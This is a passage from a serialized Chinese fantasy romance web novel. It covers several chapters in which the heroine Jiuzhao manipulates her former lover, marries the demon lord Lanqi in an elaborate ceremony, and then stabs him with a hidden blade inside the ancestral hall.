九昭瞧出他没有真生气,反过来玩笑道:“琼星不也被我选中在列吗?她们作为妃嫔预备役,日日与我同住宫中,等待着你的临幸, 我都没同你置气, 何况仅是叫身为一方城主的祝晏担任仪官?” 兰祁本坐在木案对面饮茶。 闻言瞬现至九昭背后, 将她整个人圈进怀里。 挺秀鼻尖蹭过乌发,他轻咬九昭的耳垂:“所以, 你也会在意那些女官是吗?” 九昭用手捏住他的下巴, 侧转视线:“付出真心,当然在意。” 她从不吝于提出自身真实的情绪感受。 而对于天生缺爱多疑的兰祁而言, 坦荡的爱恨喜怒都叫他倍感安心。 于是, 他放任九昭类似揉捏宠物的行为, 开扇似的睫羽轻颤, 唇瓣凑近她的脸颊, 低声表示:“典礼在即, 需要稳定臣心,我本就打算,你我完婚后,昭告四方只娶一人,将所有女官放出宫去。” “那我的想法也是一样的。”双手捧住对方面容,九昭利索印上一吻,“唯有祝晏亲自参与其中,见证你我倾心相悦,明白自己毫无机会,他才能彻底死心。” …… 九昭给出的理由,叫兰祁无论如何都没法拒绝。 诏令一下,祝晏和琼星很快一同来到连理殿拜见。 琼星本对兰祁毫无感情,入宫也不过受族人提点,志在夺得后位。 如今九昭入主连理殿成为既定事实,她恼怒几日,眉眼间虽残存着几缕不甘心,到底已然认命。 “拜见尊后娘娘。” 她伏倒在地,面行大礼。 身畔是除却恭敬没有多余神情的祝晏。 为表尊卑有别,臣子不得正式君上面孔。 九昭稳居高处,却时常感觉到阶下投来似有若无的视线。 她自然清楚是谁。 表面佯装不知,示意二人免礼就座后,她扮出一副向往新婚的娇妻模样:“近来事多,拖了些时日,方同祁郎商定择选二位为大婚仪官,日子所剩不多,是有些仓促,辛苦你们了。” “祁郎”的称呼一出,九昭精准捕捉到祝晏隐在逆光处的半截面孔轻微抽搐。 琼星亦咬了咬下唇,拱手道:“娘娘太客气了,这是臣等应尽的本分。” “你们不知,我虽在三清天有过一段姻缘,可归根究底,祁郎才是我情窦初开时倾慕的意中人—— “他是我的养兄,是早已融入血脉的家人,我从小到大,都是他一路陪伴过来的。 “从前,我们是有些许误会,幸好缘分命中注定,哪怕百转千回,走到最后的依然是他。” “这场婚礼灌注了我许多期许,还望二位一定要熟知所有礼程,千万不要出错才好。” 像是看不出祝晏、琼星的脸色,九昭双手交拢,笑容羞涩,絮絮说了许多。 肉麻言语如寻蜜的蜂群般朝他们汹涌而至,说到口干舌燥之际,她方大发慈悲放过他们。 “对不起啊,实在是我与祁郎有过太多共同经历,一说起来就忘了时间。琼星女官在宫中有居所自不必提,祝晏城主的住处,我也派人为你安排好了,等会儿出去,你跟着我的女婢前往便是。” “那么,臣等告退。” 对比琼星较来时越发难看的唇角弧度。 不久前出现在祝晏面上的狰狞抽搐,更肖似九昭自我想象出来的幻觉。 告退时分,他终于抬起眼帘。 翡翠瞳孔一瞬不瞬,风度依旧。 唯独衣袖下的掌心,冷白肌肤透出五道淤血肿胀的掐痕。 …… 月上中天,夜深人静。 九昭洗漱完毕,身穿广袖寝衣,坐在床沿用象牙梳一下一下篦着头发。 她放空目光,像是在等人,视线却无意识地落在烛火憧憧的角落。 不知过去多久,趴在金笼内酣睡的雪宝倏忽睁开狐眼。 它撑起四肢,皱着小鼻左右探闻两下,瞳孔很快释放出兴奋光亮,万分轻柔地呜呜低叫起来。 变故亦在此刻发生。 九昭腿边法光陡然汇聚。 中间凝实,边缘扩散,朦胧一线中显出半跪人形。 一只温热的手托住她露出裙沿的脚掌,另手捡起半步外的缎鞋,小心翼翼地将脚放入鞋履之中。 “焚业海寒凉,你的身体才恢复好,光脚踩地容易感染风邪。” 九昭对祝晏的到来并不意外。 或者说,从道出那番话开始,此后每个兰祁忙碌的夜晚,她都会等候祝晏的到来。 今夜没来,就是明夜。 明夜不行,还有后夜—— 只是,九昭发觉自己高估了祝晏的耐性。 配合着青年的动作,她悠悠发出一句感慨:“当年,澄心池畔,你也是这样伺候我穿鞋。” “如果可以,我多想伺候你一生一世。” 祝晏欣然接受九昭话音里带有贬低意味的词汇。 仰头,神容漫上痴意。 他没有站起身,如同往昔一般,谨守感情中下位者的身份,任凭九昭打量俯视。 九昭却转过头去:“兰祁十日里有八日都会留宿连理殿,你如此不管不顾,当真不要命了。” “我不会牵连你。” 祝晏膝行一步,攀在床沿,急急解释,“我已探得业尊为处理政事今夜独寝,这才来找你。” 九昭挑眉:“怎么,他身边也安插了你的人吗?” 祝晏沉默着,不置可否。 大约每个人都有无法与外者道的秘密。 见状,九昭没再追问。 她抬起腰身,坐得离祝晏远了些,又被充满不安的青年追上来,大手拢住裙摆的一角: “昭娘,你真打算嫁给兰祁吗?” 184| 第184章 ◎“你希望我怎么做?”◎ “这还能有假?” 视线落在桎梏裙摆的手掌上, 九昭顿了顿,终是没有将其拨开。她若无其事地抬眸,跟着一起抬起的, 还有一截藏于广袖的细腕, “你做了这么多年业族,应当识得这个印记吧?” 九昭的皮肤雪白,益发衬得蜿蜒其上的脉络凹凸分明。 青紫色游蛇般的线条间,一缕鲜红刺痛祝晏的眼球—— 他虽不曾与九昭真正结契, 却在过去无数次向往过这个场景。 “无论举不举行婚礼,或者他是否立我为后,我们都已经缔结命契了, 是我心甘情愿的。 “不过兰祁也应允了我,就在你们业族的熹木之下。 “他发誓,这辈子仅有我一个女人,且绝不会再负我。” 九昭挑起一抹笑容。 唇角的弧度充斥着令祝晏目眩神迷的幸福。 他没完全对九昭说实话。 通过雪宝的狐眼, 他化作阴沟里的阴暗鼠类, 日夜窥探着她与兰祁的相处过程。 从剖白心意, 到亲密相拥,再到同床共枕。 起初笃定九昭只为利用兰祁的念头被逐渐推翻, 万般焦虑之下, 他才会冒着风险来到此处。 望着对方提起兰祁时的甜蜜。 心头似有万千虫蚁噬咬,直叫祝晏痛得快要呕出一口血。 难得的, 他向来从容的尾音逼出尖锐:“我认识的九昭高傲、百折不挠, 不可能甘心做金丝雀。” “你认识的, 是多久之前的我了?” 九昭的面容没有半分被戳中痛楚的恼意。 她顺着祝晏的话漠声反问, 而后接着满脸憧憬地叙述兰祁的承诺和给予, “他说他会爱护我、尊重我、事事与我商量, 且我知晓,焚业海的尊后与三清天不同,拥有与业尊同等的权力是不是? “这不是很好吗? “比我当神姬时还要好。 “可以享受高高在上的人生,却不必担负多少责任,万事都有兰祁挡在我前头。” 时至今日,九昭性情大变。 祝晏发觉自己已无法准确分辨,她的话哪句为假,哪句为真。 他拔高声调:“你孤身寄居在焚业海,没有实力,没有亲族支持,朝中还有无咎、照羽、毓灵等人与你为敌,哪怕甘愿做一只金丝雀,你都未必能获得长久与安稳—— “而兰祁又是何等的隐忍善变,他不过是以爱之名叫你相信,好借此利用你到底!” 九昭仍然在笑,却不复愉悦。 她的瞳孔黑漆漆的,硬质的指甲边缘划过祝晏手背,故作轻佻:“你不也一样?” “我错了,所以我在弥补,在忏悔。” “就不允许他也意识到自己对我有所亏欠,来弥补、忏悔?” 兰祁无言以对。 从无话不说,到相顾无言。 他们耗费了三千年。 他强忍着持续发酵的,有关物是人非的悲哀,转移话锋道:“你在圣火坛内,有所收获吗?” “有收获如何,无收获又如何?” 九昭勾起乌发尾端,单手缠绕着,侧眸睨了过去。 “倘若杏杳的假设成真,有比涅槃凤火更高阶的力量在手,你便拥有了与这天地一战的实力。” 能复活亲人的好处他已说过,无需再提。 祝晏诚恳回望,又闻九昭淡淡说道:“有实力,也架不住孤掌难鸣。” “我会助你,我会豁出一切助你。 “只要你点头,我会在你面前即刻立下血誓。” “你?” 九昭的眼神流露出不信任,“崇黎为人狡诈,控制欲强烈,你是从他手中接过了城主和九尾狐族长的位置,可你又有几分把握令全族上下听命于你?如今三清天败局将定,我若要与兰祁一争,须得回去重掌权柄,你的族人怎么会愿意去支援败相显露的一方,三清天也不会接纳反反复复背叛的臣民。” “有些事情,实施起来确实困难,不过,我既说得出,就有自己的办法。” 九昭无意了解祝晏为了完成诺言,期间需要支付怎样的代价和努力。 她怀揣着另一个目的,继续问道:“我在父神临死前,知晓了当年他为分裂凤凰族双子,而蓄意引诱我母神的真相——那么你呢,在知道自己的身体流淌着仙魔两族的血液时,又是怎样的心情? “跟随崇黎,走到今日这一步,你可真正感觉到畅快遂意吗?” 祝晏微微蹙起眉峰:“昭娘,你究竟想说什么?” “我想说。” 九昭不再看他,仰起脖颈,望着这方雕栏画栋的殿宇,“被囚禁在无日渊的三千年,更叫我痛苦的,并非七日一次的雷罚,而是为什么要我背负算计和阴谋,来到这世间。 “父亲如何,给予我生命又如何? “他为分化凤凰族的实力,利用了我母亲,为收回凤凰真血,又利用了我和兰祁。 “我们人生中迄今为止的苦难疼痛,大部分都来自亲缘。 “你能理解我吧? “明明是他们忘却禁忌擅自相爱,却把你扔在人心险恶的后院不闻不问,叫你从小承受孟楚和其他兄弟姊妹的欺辱,神王妃烈晴的忌惮打压,若非你命大,恐怕熬不到遇见我,就已经腐烂死去。” 九昭将话转到此上的方式并不高明。 却轻而易举刺中了祝晏难以平静的心。 有些选择,他可以称一句箭在弦上,身不由己。 埋藏在脑海的最深处,尽量不想,尚能若无其事地度日。 可一旦揭开,便会化作无法弥合的裂缝。 他不是一开始就知道,自己是父亲寄予最大期望的孩子的。 在被心怀恨意的孟楚摁在演武场打得满身伤痕,差点死去之前—— 他一如那些母亲不得宠的妾出子女般,挣扎在神王宫的后院中努力活着。 同兄弟姐妹相比,他幸运的,是天赋异禀。 不幸的,同样是天赋异禀。 因为天赋异禀,他渴望能够获得父亲的青眼,连带着自己和月见的日子都能好过一些。 因为天赋异禀,面对平庸无能的孟楚,他心中时常翻涌着不甘和嫉妒。 这些皆在,他被父亲的近侍捡回去后被打破。 密室昏暗的烛火里,从来不假辞色的父亲,依旧用不假辞色的语气对他说明了真相。 “你是我与你母亲的孩子,生来便是仙魔一体。 “你的母亲被神帝嗣辰伤至性命垂危,为了诞下你,耗尽最后一丝力量,并封印了你的魔气。 “你若想活下去,就不要再试图与孟楚争抢。 “忍不住了也必须忍耐。 “不要流露恨意,不要流露不甘心,要做出认命的样子。 “等计划达成的那天,只有你才是我唯一的继承人。” …… 正如父亲所言。 不能怨,不能恨,什么情绪都不要有。 近侍为他治好了内伤,命人将他送回后院。 此后万年,他的确再未得到来自父亲的一次注目。 已然结仇,孟楚睚眦必报的性子,隔三差五给予他欺凌羞辱。 他和月见,几次死里逃生,一路忍耐求全至今。 现在,他是拥有了权利,坐在了无数人艳羡的高位。 可九昭问他是否畅快遂意。 他尝试回忆,能够想起的快乐画面,竟无一不与九昭相关。 祝晏的眸光自明灭闪烁,到化作两抹余烬,彻底黯淡下去。 他无意识地松开了拢着九昭裙摆的手,指尖再度深深陷入掌心。 “你希望我怎么做?” 九昭没有回答他,径自说道:“九尾狐族第一次叛乱时,你尚未出生,第二次叛乱,又是崇黎主导,是他狼子野心,以父子亲情挟持你,若能与他彻底割席,你便可证明自己。” 证明自己。 向谁证明? 向她吗。 亦或者,三清天。 祝晏拒绝去想,重复一遍,执拗地渴望从她那里得到答案:“你希望你我怎么做?” “还能怎么做。 “他既然把你从我身边夺走,我便要将你从他那里抢回来。 “你要帮我,无论割不割席,背叛崇黎已成定局。 “你以为他会原谅你?” 九昭用再轻描淡写不过的语气,蛊惑着青年做出一个极其可怕的决定。 她到最后也没说出希望祝晏如何去做。 只用不容反抗的力度,一根一根掰开了对方掐着掌心的手。 俯下身去,于淤血聚积处轻轻吹了吹: “你若想好了,便对我立誓吧。 “若做不到,我也不会怪你。 “但那样的话,往后我的人生如何,你也无需再参与。” 185| 第185章 ◎“我愿为你起誓。”◎ “你不担心吗?” “祝晏已失去音信三日, 你和兰祁的婚礼之期也近在眼前。” 九昭放下手中书册,抻腰松了松筋骨。 她望着经由工匠巧手,装点隆重的墙椽四壁, 在脑海慢吞吞说道: “我从来没有把计划达成的指望放在祝晏身上, 有也罢,没有也罢,反正我也没什么可以再失去的了——都说尽人事,知天命, 该尽的人事我已尽完,接下来便看天命如何决定。” 巫逐却提醒道:“你只放任他独自考虑,人在左右摇摆中总是无法下定决心的, 不若逼他一把,叫他提前尝尝彻底失去是何等滋味,如此他才会真正做到豁出一切,再不回头。” 九昭若有所思。 她望了眼笼中蛰伏不动的雪宝, 又在翻看几页书后, 寻出张笺纸提笔写道: 怎么, 没办法达成我的要求,所以连见我也不敢了吗? 她在落尾处写明时间, 约他戌时中刻相见。 纸条递到雪宝嘴边, 它嚼也不嚼便一口吞下。 九昭生怕它噎死,坐在笼前, 手捧下巴关注着动静。 约莫一炷香过去, 它忽然长大嘴巴, 哇得将一张言简意赅写着“好”的纸团, 吐进九昭掌心。 事情落定, 九昭小憩片刻, 不紧不慢用完晚膳。 赶在他到来前夕派人去请兰祁。 …… 祝晏守时。 约定戌时中刻,一息不多,一息不少。 魔气簇拥着他颀长的身形,出现在烛光不及的阴影一隅。 九昭瞧见他短短几日未见,迅速憔悴下去的眉眼,平静说道:“看来的确是我强人所难了。” “并非。” 兰祁立在阴影里未动,用很轻的声音解释着,“是有些事情需要处理,因此耽搁了。” “上回和你说完那番话,我这两日也认真想了想。” 九昭拨弄着蓄起长甲的指尖,目光落在指腹隐约不可见的泛白疤痕处。 尽力回忆起这三千年众叛亲离,被囚在无尽黑暗里,任凭雷罚将身心折磨到奄奄一息的过去,语气如涟漪般泛开凄凉失意,“亲缘关系或许真的不可斩断吧,我为你赴汤蹈火,战巫逐,练凤火,几乎耗干一条性命也要救你,可你在桃林的反叛中,依旧没有任何犹豫,选择了你的父亲崇黎。 “其实你的答案,早在很多年前就得出了。 “如今会这么说,想帮我,不过是出于一点蒙骗了我的内疚,对不对?” 自打脱困而出,九昭对待他,从来都是冷的。 这种冷,在不辨喜怒的语气。 在毫无波澜的目光。 在高高筑起,不肯软化的心防。 也正是因为始终冷漠坚硬,此时此刻,她难得近乎哀怨的控诉,才更如一柄裹缠着利刃的丝绸,无声绞紧他的颈项,令他连一呼一吸都翻涌开窒息的痛意。 “不、不是的。 “我心甘情愿为你这么做。 “我爱上你,便认定是你,哪怕你当初没有练成凤火救我的性命,我也会这么做——” 怎么样,你才能相信我的真心。 我只是需要一点时间,来思考怎样处理父亲的阻挠。 最要紧的两句话,滞在齿关,呼之欲出。 殿外的女婢却没有给予祝晏剖白内心的机会。 有规律的叩门声响起,禀告的话音接踵而至:“娘娘,尊上王驾已在宫室外,请您预备着相见。” “知道了。” 九昭蹙眉,故作意外地自言道,“怎么会这么不凑巧?” 进入宫室到行至内殿,依照兰祁的步力,要不了半刻辰光。 她转眼收起流溢在外的罕见悲喜,像是极力平复着心绪,面对祝晏。一点一点重归面无表情:“今日便是你我独处的最后一次了,我清楚你对崇黎下不了手,也不愿逼着你在我和父亲之间做出决定。 “你走吧,若想我此后能安稳地依附兰祁生存下去,我们的关系不可以被他发现。 “若兰祁推开门,见到你站在我的房内,那就不是你或者我死的事情了。” 再没什么,是比耳闻自尊自傲的昔日爱侣,亲口道出“依附”二字更叫祝晏心碎的了。 他咽下口中那与时局相比犹显矫情的言语,默默隐去身形。 却鬼使神差地未曾离去,反而从储物戒中取出张敛息符,化作无实体的游魂状态,滑入床底。 片刻后。 紧闭的殿门吱嘎一声开启。 祝晏无法瞧见黑暗之外的场景,听觉和嗅觉变得愈发灵敏。 他听见两道速度不同的足音,正在相互靠近——而更急切、更期待的动静,竟然来自他这头。 “政务都处理完了?” 似是两人相拥在一起,衣料的摩挲声如蚕食桑叶。 九昭放柔音调,温言软语。 兰祁应了一声,揽抱着她,再度朝床沿走来:“没忙完,怎么能够安心来见你。” 他感受到九昭的手探入自己的衣襟内里。 且勾且画,落在哪处,都能引起一小片热意的火花。 魔族重欲,特别是缔结命契之后,欲念与爱意交织,直叫人时时刻刻产生冲动。 不被九昭引诱,他尚能克制自身。 可眼下爱妻蜷缩在臂弯,动作又是如此主动,如何能够坐怀不乱。 他反客为主,攥着九昭的手指,滑向裹覆身躯的裙摆。 未知触碰到何处,九昭躲闪起来,齿关溢出半嗔半娇的笑:“也是,忙完了你才有心思做这个。” “可用过了饭?若肚子饿,便叫你先吃饱。” 他蹬靴上床,又俯落身躯,细致为九昭将鞋袜除去。 手臂一拉一放,腰腹处便多了份重量。 “早吃完了—— “若等你来相陪,我还不得饿死。” 抬眸,九昭目含水光,将焚业海严冷的寒夜烧成一段春意。 怎的今日这般热情? 模糊的念头在心头一闪而过,他已被九昭腰杆下压,探手制住了要命处。 …… 某种意义上,雪宝如同祝晏的另一具分化身。 他时常通过雪宝的眼睛,窥视九昭和兰祁在一起的场景。 一面用自虐的方式惩罚身心,一面渴望从中找到九昭不爱兰祁,只为利用的证明。 然而,揭开那层自欺欺人的假象,真正缩在床底,亲身体验他们的恩爱时—— 他方发觉,换掉他,对着其他男人,九昭也会发出甜蜜的声音。 那些煽情的喘//息咫尺可闻。 汹涌的愉悦来临前,她也会埋首在兰祁的颈项,呜咽着说“我爱你”。 和他们在一起时一模一样,毫无区别。 甚至因为从小相伴长大,对于九昭的癖好、习性、弱点,兰祁还要了解得更深入些。 祝晏的牙关上下抖颤着。 发出磕磕、磕磕的声音。 阖上双眼,纷繁往事咆哮着袭来,将他尽数淹没。 他的眼前时而是九昭突破千难万险,为救他修成涅槃凤火那年。 他们在南陵结界边缘的小木屋中相拥而泣,发誓此后再也不分离,要永远相伴相许的场景。 时而画面变化,视野中俱是九昭投望过来,专注到近乎偏执的眼神。 “兰祁、扶胥,我所经历的前两段感情,充满不幸,令我伤痕累累,再难相信。 “我如今决定为了你,再重拾一次献上全部的勇气。 “祝晏,倘若你辜负我,我定会要你以命相抵。” …… 以命相抵。 以命相抵。 反复默念着这个词汇,祝晏突然意识到,或许兰祁说得没错。 他根本无法追忆与九昭拥有的美好。 并妄想着,能够通过弥补,再和她破镜重圆,回到过去。 因为他根本没有资格。 从他走向父亲开始,命运已然做出宣告—— 他们今生的缘分了尽。 在彻底失去她,和不愿放弃强求相互折磨之间,大概只有真正死了。 方能在她心底烙下永痕的印记。 像瀛罗一样。 对,像瀛罗一样。 …… 长夜将逝。 纵然不舍,兰祁也只能起身沐浴,开始上朝前的准备。 衾被堆叠,微微陷落之处,九昭正单手抵在绣枕下方,长睫垂敛,好梦正酣。 兰祁垂首凝视几息,只觉万般柔情将心绪填满。 他凑过去轻吻在九昭额头,为了不将她吵醒,释放魔气瞬移走出门去。 待到殿宇无人,九昭裹着衾被无声坐起。 她的眸光清明,不见半分睡意。 垂头打量一圈床笫炽热间,兰祁控制不住留下的满身痕迹。 她略带嫌弃地捡起床尾衣衫,盖住肌肤,以作眼不见为净。 祝晏说走,真的走了吗? 还是留在哪里,如她算计的那般,旁窥他们的情事。 九昭坐在层层幔帐里,眼神不动,缓慢感知着周边流动的气息。 倏忽。 一只苍白的手抚上床畔。 烛火昏暗,祝晏幽恻恻的碧绿眼珠,宛若悬浮的两簇鬼火。 他细长的眼梢红意鲜明。 九昭分不清是痛哭过一场,还是克制不住魔性。 “昭娘。” 他低低唤道,“我想好了,我真的想好了,我愿为你起誓。” 悬着的思绪落回实处,九昭的视线这才活过来一般望向青年半跪之处,用掌心牢牢覆上他的手背,“晏郎,立誓总归像是胁迫之举,我虽与兰祁缔结命契无法改变,却想到另一层更为紧密的关系。 “你,要不要试一试?” 【作者有话说】 快完结了,应该还有十几章的样子,最近因为腰痛不能久坐所以更新的不是很固定,但是这个月大概率可以结束 186| 第186章 ◎“我的傻姑娘。”◎ 焚业海史书记载, 兰祁大败前任业尊,加冕为王,改年号为“鸿渐”。 取万事循序渐进, 欣欣向荣之意。 此后, 历法以鸿渐元年始称。 …… 鸿渐六千二百八十五年春。 兰祁以一半业族疆域为聘,于寂无宫迎娶凤凰族女君九昭为后。 允诺与她共享无边权力。 …… 难得的朗日,霜雪不复。 似被喜事感召,焚业海天空之上, 被亘古不化怨气所侵染的云层,也透出一丝温和的浊光。 九昭独自坐在梳妆台前。 天未亮时,她便被十数名女婢唤醒。 有人篦发, 有人佩饰,有人侍衣,历经数个时辰,她被雕琢成一具完美无缺的木偶。 繁复的后冠压在梳成一丝不苟的发髻之上, 鬓边静滞的珠穗投落细碎阴影。 九昭的指腹无声滑过绣有大簇凤凰翎羽的袖口, 半垂的视线亦跟着动作缓慢游弋。 将她注意力吸引的, 并非精致的刺绣,而是隐蔽在刺绣下, 泛着青白色的肌肤。 九昭探指覆上, 寻到手腕脉络往下三寸的位置。 指尖加重力气一摁,薄利的异物立刻割开血肉, 剧痛鲜明。 拧紧眉峰, 后仰靠坐在木椅上, 等待着痛楚过去。 目光所及之处, 遍是象征圆满吉祥的赤红。 她凝视几息, 唇畔轻轻勾起, 却没有任何喜意。 少顷过后。 殿外传来女婢恭敬的通禀:“娘娘,尊上驾临。” 从女婢出声到殿门开启,时间相隔仅仅一息。 厚重的大门自外被人迫不及待地推开—— 这是九昭第一次见到,如藏不住心事的孩童般,面带期盼的兰祁。 纯粹的、强烈的喜悦似有实质,经由交汇的视线,化作铺天盖地的罗网,将她捕获。 于是,九昭也跟着笑了起来,走上前去,把另一只手,放在他的掌心。 “你不会知道我今天有多高兴。” 兰祁伏在她耳边飞快说完这句话,宫室外,礼官“吉时已至”的宣告旋即而来。 …… 不用焚业海最尊的玄黑,而选九昭喜爱的正赤制作而成礼服。 从一开始,便预兆着这场婚礼的处处不同——兰祁更着意增添了辇驾出行,王都绕飞,族民相庆,群臣于瞻英殿前观礼等过程,仿佛要将七千年以前彼此之间未完成的遗憾补足。 八头气势威武的墨麒麟打头,九昭抬步进入除尊后外不得共坐的王辇。 伴随几声响彻云霄的兽吼,车驾腾空飞起,视野豁然开朗。 王都交错纵横的街道上,无数魔族平民摩肩接踵。 他们弯曲双膝,跪倒在地,朝着王辇的方向一遍又一遍高呼着“帝后同心,业族永昌”。 声浪如海潮层层上涌,不多时,埋设在各处的法阵启动,朝天空迸发出道道璀璨的黑色焰火。 “看,业族的疆域何等辽阔—— “有你陪伴在我身边,它还会一再扩张,直至这世上再不分仙魔。” 兰祁鲜少有情绪外露的时刻。 他压抑着话音,侧头朝爱侣倾诉内心的大业宏图。 九昭的视线却落在了下方掠过的北城门。 那闪烁着青铜光泽的巨大拱门,如同野兽择人而噬的咽喉。 两侧高耸的城墙上立着维系秩序的魔兵,定睛一看,大部分的甲胄上均带有狐族图腾。 九昭的眸光停留片刻,又不着痕迹收回。 身畔,有些不满自身被忽略的兰祁揉捏起她的指节:“昭昭,你在想什么?” 掩去眼底审视,九昭换上夹杂着赞叹的柔和语调:“没想什么,只是觉得你说得对,前两回出宫仅用脚步丈量,不曾留意——如今凌空俯瞰,方察觉王都亦是另一番不同于三清天的疏朗雄奇。” 兰祁闻言,却坦然道:“再建设得如何,衣食住行,到底不能与三清天相比。” 虽承认与仙族地界无法相比,但青年的言语间并无愤懑。 他顿了顿,态度陡然变得无比笃定,是节节胜利的事实所堆叠而成的从容自信,“但昭昭,你要相信我,很快,我便会带着你回到日思夜想的离恨天去——那些放逐你、冤枉你的仙臣,早晚会匍匐在你的脚下,向你拼命磕头,忏悔自己的罪过!” 拼命磕头。 忏悔罪过。 她应当以什么身份。 焚业海的尊后吗? 九昭于心中无声自问, 她稍稍侧头,隔着因风摇曳的珠玉,瞳孔映进兰祁志在必得的脸。 …… 王辇完成三圈巡游,在震天动地的礼乐呼颂声中,落在寂无宫瞻英殿前。 圣火坛在外,拜祭天地,瞻英殿在内,祀告先灵。 历代业尊、尊后的巨大法像均矗立在这高可通天的殿宇之内。 待兰祁带领九昭入殿,完成仪式,兰祁雕塑旁的空敞处,也会凝聚起她的身像。 瞻英殿唯有两位捧璧的仪官,和新婚的帝后方可进入。 与兰祁并肩站在青琐玄墀下首,九昭默默聆听着分列四方的祭司们念起古老的业语。 她没看兰祁,余光睨向侧前方,一步之遥的祝晏。 看不见的血契丝线将两人联结起来,她发出一声问询,弹指得到祝晏毫不迟疑的肯定。 手臂上方,利物存在的位置又痛了起来。 穿过血肉,拨动着她的心跳。 缄然提醒着,成败,只看瞻英殿一行。 冗长的赐福终于将近尾声,九昭与兰祁同时转过身,背对后方众目睽睽的群臣。 话音落定,祭司之首持节向天,大声道:“礼成——! “以业火为证,以天地为鉴—— “业尊兰祁,凤凰族女君九昭,缔结永世之契,气运共享,死生相依!” “死生相依”四字,如同命运砸下的重锤。 脱口祭司嘶哑的喉咙,融入风声,在空阔的殿宇前穿梭来去,不绝如缕。 九昭倏忽注意到兰祁一直紧绷的肩膀陡然放松下来。 与此同时,那矜持半抿的薄唇,绽放出明亮汹涌的笑意。 原来,他也会这样笑。 达成期许、无忧无虑。 如同满腔赤忱的少年。 九昭不愿再看。 借助交叠的广袖遮掩,她的手被兰祁又一次握住。 他加快步伐,引着她通往最后一程。 兰祁自持身份,不愿在外臣面前显露过度的心绪。 瞻英殿则不同,有守护魂灵长眠的至高法阵在,内里的一举一动都无法被他人感知。 将本为一对的乌玉璧各自注入一道魔识,再将其隐没进法像中,仪官的差事便算大功告成。 仪式并不要求完成立刻出去,祝晏和琼星自觉退到旁边,留给两人诉说衷肠的空隙。 九昭沉默望着放大十倍,立在兰祁雕塑旁边的自己,嘴唇微微翕动: “……兰祁,我真的嫁给了你。 “不知为何,此时此刻,我竟然觉得,好似在、一场醒不过来的梦里。” 她与兰祁相处,从来有意将自己放在弱者位置。 试图减少兰祁的疑虑,降低他的戒备心。 可所有人都明白,不对等的地位,没有问及“爱与不爱”的资格。 如今,她总算被赋予了这种权力。 在成双成对的高大塑像注视下,她怔怔问道:“你爱我吗?当真要同我一生一世吗?” 兰祁却被她几分拙稚,几分不安的问题,惹得朗笑出来。 “我的傻姑娘。” 他指在彼此面前的塑像,“你瞧,上面映着我们两个的脸,还不够真实吗?” 当唇角显露笑意,兰祁的眼眸亦跟着轻弯。 它们从来如同两方深不见底的沉潭,眼下却以柔情和溺爱将九昭盛满。 “既然誓言、婚礼和塑像都不能叫你安心—— “那么,我便给你看一样最真实的东西。” 187| 第187章 ◎“何其可笑。”◎ 话音未滞, 兰祁并指为刃,朝九昭所在的方向劈落。 那动作快得撕裂时间—— 来不及眨眼,魔气裹挟摧枯拉朽之势, 如磅礴的海啸般嘶吼而至。 莫非, 是兰祁提前得知了她和祝晏的计划? 悚意攫取心跳,四肢百骸的血液逆行冲向头顶,九昭脑海下意识浮现这个疑问。 念头乍起,无处探究, 魔气已径直刺中她的胸口。 洞穿身体的刹那,想象中的剧痛没有袭来。 其中蕴含的毁天灭地之力,触及肌肤倏忽春风化雨, 氤开阵阵和煦暖意。 “……” 愣怔一息,九昭对上青年恶作剧成功的促狭眼神。 遽然意识到,伤害禁锢的法术无用——这是魔族彻底爱上一个人的证明。 “如何?” 兰祁嗓音蕴着奇异的沙哑,一张秀致美人面探到她眼前, 视线专注而灼热, “表情可以掩饰, 言语亦能骗人,唯有这镌刻在每位业族身上的烙印不会——爱与不爱, 释放的法术自会说明。” 九昭不错眼地回视他, 轻声道:“从前,你总跟我强调, 再爱也要有所保留, 不可迷失自我。” “是, 哪怕到现在, 我也这么想。” 兰祁干脆认下自己曾经的所言所行。他清醒到近乎冷酷的话音, 在眼底映进九昭明丽的面容时, 再度散为一池柔情的春水,“……但昭昭,总有人是例外,值得我抛开理智,去奋不顾身一次。 “你便是那个例外。” 两人挨得很近,他却执意向前,用气息将九昭彻底笼罩,“那么,你做好准备了吗?成为我的妻子,我的尊后,与我看遍万里河山,明月高悬,陪我将人生所有抱憾之事弥补完全——” 回答兰祁的,唯有沉默。 九昭踮起脚尖,双臂勾住青年颈项,半身贴住他的胸膛,如幼鸟归巢。 焚业海的天空从来没有太阳。 可这一瞬,他却得以将自己生命中的太阳,紧紧揽入怀抱。 切实的拥有,令兰祁呼吸发颤。 他的视线不经意扫过立在角落的祝晏,见他背手向旁走了几步,仿佛不敢面对失败般转过头去。 这场角逐,终究是他赢了。 无需巧取豪夺,无需费心算计。 她选他,只为情。 伴侣在怀,情敌认输,再没什么事比这更叫人目眩神迷。 兰祁仰面启唇,满足的喟叹无声流溢。 恰在此时,九昭的声音滑入他的耳廓,带着追忆往事的迷离: “你知道吗?我好像……从未真正放下过你。” 他拥着她的手臂再次收紧。 “扶胥为助我顺利通过天仙试炼,曾以摄念花模拟心魔幻境。 “幻境里出现的事物,俱为每个人心底最难放下的执念。 “而我的执念,每一次都是你。” 涂有蔻丹的指甲反复摩挲着青年后颈的凹陷处,九昭将回忆诉说得断断续续,“我想起丹曛姑姑面前你替我背锅,想起相思树下我为你编镯……想起我们坐在灵泉宫的高台绘画对饮。 “想起你花了无数张有关我的肖像。 “还有金仙升任天仙的验心劫中,幻境里翻涌的景象,依然是你。” 强烈的动容击中了兰祁。 在知晓心上人这般在意自己的喜悦之外,他奉行落子无悔的生涯中,第一次出现难喻的悔意。 若他提前拆穿神帝的阴谋。 向九昭坦白自身为容器,被利用的痛苦和恨意。 那么他们之间,是不是就不会有这七千年的分离? 好在,这一切还不晚,还有弥合的余地。 兰祁沉浸在宝物失而复得的庆幸里,并未发觉九昭沉缓的音调陡然转冷:“不过,验心劫和摄念花凝成的幻境,却有着一层根本的区别……祁郎,你知道是什么吗?” “是什么?” 急欲探知真相,兰祁想也不想追问。 九昭没有立刻说话。 她放松勾住兰祁颈项的手,顺着滑落的衣摆,看向隐藏锐物的小臂。 时机到了。 九昭使了个眼色,给恰好行至兰祁背对位置的祝晏。 而后继续缓慢说道:“区别在于,前面数十次,是身为心魔的你杀了我。” 用法术。 用剑锋。 用双手。 坚硬指甲在小臂肌肤上一划,利刃刺破血肉而出。 那是一柄短刃,为便于隐藏,没有铸造握柄,轻薄的剑锋在四周烛火映照下凛冽生光。 九昭反手将其握紧: “最后一次,却是我杀了你!” 锋刃嵌进手心皮肉的同时,另一端也被她精准无误捅进兰祁后心。 噗呲—— 利刃穿透躯体的声音,在死寂的大殿中刺耳炸响! “尊上!!” 